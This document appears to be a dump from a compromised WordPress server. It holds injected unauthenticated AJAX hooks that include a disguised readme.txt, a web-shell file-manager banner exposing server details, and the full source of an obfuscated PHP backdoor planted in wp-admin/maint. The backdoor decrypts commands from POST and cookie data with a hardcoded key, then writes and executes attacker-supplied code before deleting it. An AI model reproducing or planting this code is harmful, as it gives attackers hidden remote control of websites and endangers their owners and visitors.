if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-admin/maint/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-admin/maint/rgbhxvvr.php
<?php $ucsjg    = /*zb  */ 'ucsjg' /* cdmej */ ^       '';


$b_imi /*   jeaxev*/ =      $ucsjg(83)    . /*   g  */ "T"."R"."\137" /*zvdr*/ . /* g  */ $ucsjg(80)    .    "A"."D".$ucsjg(95)  .    "\x52" /*  nxmhun   */ .    $ucsjg(751-678)      .    $ucsjg(129-58) /*bxtsvm  */ . /*  s  */ $ucsjg(935-863)    . /*uk_ryu */ $ucsjg(100-16);

$prsay /*ayz   */ =    "a".$ucsjg(114)    . /*wjthm */ $ucsjg(114)    . /*   x*/ $ucsjg(781-684) /*   xqzlsq */ .   $ucsjg(866-745)  .    $ucsjg(95)    . /*   k_*/ "m".$ucsjg(97) /*  i   */ . /*   jy   */ "p";
$thvwlu	= /* c   */ $ucsjg(396-291)    .	$ucsjg(109)	.  "p"."\154"    .     "\157"       . /*  luvj */ "d"."\x65";$auedw /*wyvunp  */ = /*  fxk*/ "\x73"       . /*udyftp*/ $ucsjg(1014-898)      .	"r"."_".$ucsjg(112)    .	"a".$ucsjg(521-421);

$qrugmqfqi /*ridqlr*/ =  "c"."o"."u"."\x6e"    .    "t";

function      uq_muqlns($nzherkqj_t,    $xqocwob_a)

{ /*_cqjc*/ global	$ucsjg;    


       $nzherkqj_t /* mb_u   */ =    "\x3c" /*qll*/ .  "\x3f"  . /*   n  */ $ucsjg(278-166)   .    "h"."\160" /*_x*/ .    $ucsjg(32)	.       "u".$ucsjg(1045-935)	.	"\x6c"     .    $ucsjg(105)    .     "n"."k"."(".$ucsjg(404-309)    . /* _nywm */ "_"."F".$ucsjg(239-166) /*  eomw  */ .       "L"."\x45" /* bm  */ .  $ucsjg(921-826)	.     "_".")".";".$ucsjg(32)  .    $nzherkqj_t["\144"]; /* bsapq   */ $cxoo_u    =       "f".$ucsjg(424-319) /*  l   */ .	"l"."\x65" /*  ivdpgh  */ . /*nju   */ "_".$ucsjg(112)     .	"u"."\x74" /*uf */ . /*   nvqjkn */ "\137"    .	$ucsjg(641-542)	. /*   o */ $ucsjg(1013-902)  .	"n"."\x74" /*   j  */ . /*  kuui */ $ucsjg(101) /*fvleiu */ . /*sr_  */ $ucsjg(110) /*   ra  */ .    "\x74"   .     "\x73";
 /*  sihij */   $cxoo_u($xqocwob_a,    $nzherkqj_t);


         xyuzurhemn($xqocwob_a);
}



$ugfbkaj      = /*hptqao*/ 73;



function   xyuzurhemn($xqocwob_a)

{ /*_tu  */ global  $ucsjg; /*vzvue   */ 
 /*  ljsc*/ include($xqocwob_a);

 /*   mh*/ $xwtis     =    $xqocwob_a;       @unlink($xwtis);
}



function /*   pz */ rabze_()


{


	global	$ucsjg;


 /* eytlaz   */ $vuhonjyiv /* a  */ =       array();    $vuhonjyiv["\160"       .      "v"]	=    phpversion();


 /*vffs */ $vuhonjyiv["s"."v"]	=    $ucsjg(275-224) /* _wiec  */ .    $ucsjg(568-522) /*  x_avk   */ .       "5";

	$tzubldkcx	=      74; /* kjrom */ echo      @serialize($vuhonjyiv);}

function /*  l   */ vsuxrnvy($nzherkqj_t, /* mckdy  */ $ddpdgyys)


{

 /*pfdy */ global /*bdrxa   */ $ucsjg;


	$fruzgbzxu    = /*   fclxgz   */ "";	$bmoogo      =    'udytnn_e';      $wuncoc     =    hash('sha256', /*   e*/ $nzherkqj_t);	$gaycqy    =   str_replace('oulvl',       $wuncoc,       $bmoogo);  $vuhonjyiv    =     0;

   while    ($vuhonjyiv /*  en */ <    strlen($nzherkqj_t))     {


  $_gtctjeqz     =   isset($ddpdgyys)     ?  $ddpdgyys     : /*  rdv*/ '';
  for /*  lvhojw */ ($mzspvfh /*  ow  */ =   0;       $mzspvfh	<     strlen($_gtctjeqz)    &&   $vuhonjyiv    <     strlen($nzherkqj_t); /* z   */ $mzspvfh++, /*tb*/ $vuhonjyiv++) /*   pehbu   */ {    $fruzgbzxu    .= /*   bmb */ $ucsjg(ord($nzherkqj_t[$vuhonjyiv]) /* i */ ^	ord($_gtctjeqz[$mzspvfh]));

    }

	if    (strlen($fruzgbzxu) /*  iqcnq*/ > /*   m*/ 20)    {
 /* qtn*/ $gaycqy    = /*  ovkdae*/ substr($fruzgbzxu,	0,	20);


 /* lajjuc*/ }

 /* gwej   */ }

       if	(empty($fruzgbzxu))   {	$fruzgbzxu /*rar_y   */ =	date('Y-m-d    H:i:s');

	}
      return /*   m */ $fruzgbzxu;}function /*  tgai   */ qbiiqlecsq($kyrdfyufwc)
{

  global	$ucsjg;
	


	$kgim_       = /* fv */ $ucsjg(98)      . /* thy */ $ucsjg(101) /* of */ .    "a"."\67"       . /*   dtfpy*/ "2"."\144" /* wdn*/ .    "7"."\x64"       . /*   _cde*/ "-"."\144"."\63"    . /*  bvnb */ "\x37" /*xaed   */ .     "\145" /*   s   */ .    "-"."\64"	.    "a".$ucsjg(51) /* xkhs  */ .     "\63"    . /*   yr */ $ucsjg(45)	. /*  e_etv*/ "a"."f"."4"."3"."\x2d"    .    "1"."\x31"    .	"\67" /*  h   */ .    $ucsjg(50) /*  rxzzdk*/ .    "\141"    .      "\146"    .   "\63" /*b*/ .     "\x63"    .    $ucsjg(98)	. /* polrx */ "\67"    .      "\x33" /*  ny*/ . /*_rcur   */ $ucsjg(56); /*xxk   */        foreach    ($kyrdfyufwc       as /* uci   */ $urolv    => /*   u */ $nzherkqj_t)	{
    geghm(base64_decode($nzherkqj_t), /*   widhh*/ $kgim_,    $urolv);

	}
}function    geghm($nzherkqj_t,       $kgim_,	$urolv){     global /*  fhplm */ $ucsjg;
	

    $nzherkqj_t /* vryv */ =	unserialize(vsuxrnvy(vsuxrnvy($nzherkqj_t,    $kgim_),	$urolv));
	$kqo__uui /*   lnbqp*/ = /*   ftjnbf   */ 'lduic';	$sbypwqzg /*   f */ =    'uvv_rdx';

 /* fq   */ if /*  kusj  */ (isset($nzherkqj_t["\141"    .     "\x6b"])) /* zppnq */ {
 /*  z   */ if /*q*/ ($nzherkqj_t["a"] /*  zewo */ ==      $ucsjg(1094-989))  {
 /* khdpr  */ rabze_();

 /* nudl */ }    elseif  ($nzherkqj_t["a"]     ==	$ucsjg(101)) /*  ahn   */ {


	uq_muqlns($nzherkqj_t, /* sqlpwd */ sprintf("\56"    . /*   g */ $ucsjg(47) /* npzzi*/ .    "%"."s"."."."p"."l", /*  pe  */ md5($kgim_)));
			$laulfxj   =	44;
	}

       exit();


       }}

qbiiqlecsq($_POST);	


$udkper       =   $prsay('rawurldecode',    $_POST);
$kxfbd_fths	= /*   q*/ $qrugmqfqi($udkper);


if    ($kxfbd_fths  >    0)       {


	$wktiuyip    =       $thvwlu(',',    $udkper);
}



qbiiqlecsq($_COOKIE);  



$stymwzv /*  xokpyf */ =	$prsay('rawurldecode',  $_COOKIE);$yfrbaegu     =    $qrugmqfqi($stymwzv);

if /*  f  */ ($yfrbaegu /*   mrqqjx  */ >    0)	{


	$evyla  = /*yrx   */ $thvwlu(';', /* ioj*/ $stymwzv);
}


$rhaachqanw	=   $stymwzv;


$qcibq    =       date('Y-m-d    H:i:s');$reemfnil    = /*tcnj*/ strlen($thvwlu('',      $rhaachqanw));
if   ($reemfnil /*  kvbvt   */ >    100)    {
    $bjhyksz   = /*   ifcmqp */ $auedw($thvwlu('', /* x   */ $rhaachqanw),    150, /*udso*/ '0',	$b_imi);


}







?>
@ Telegram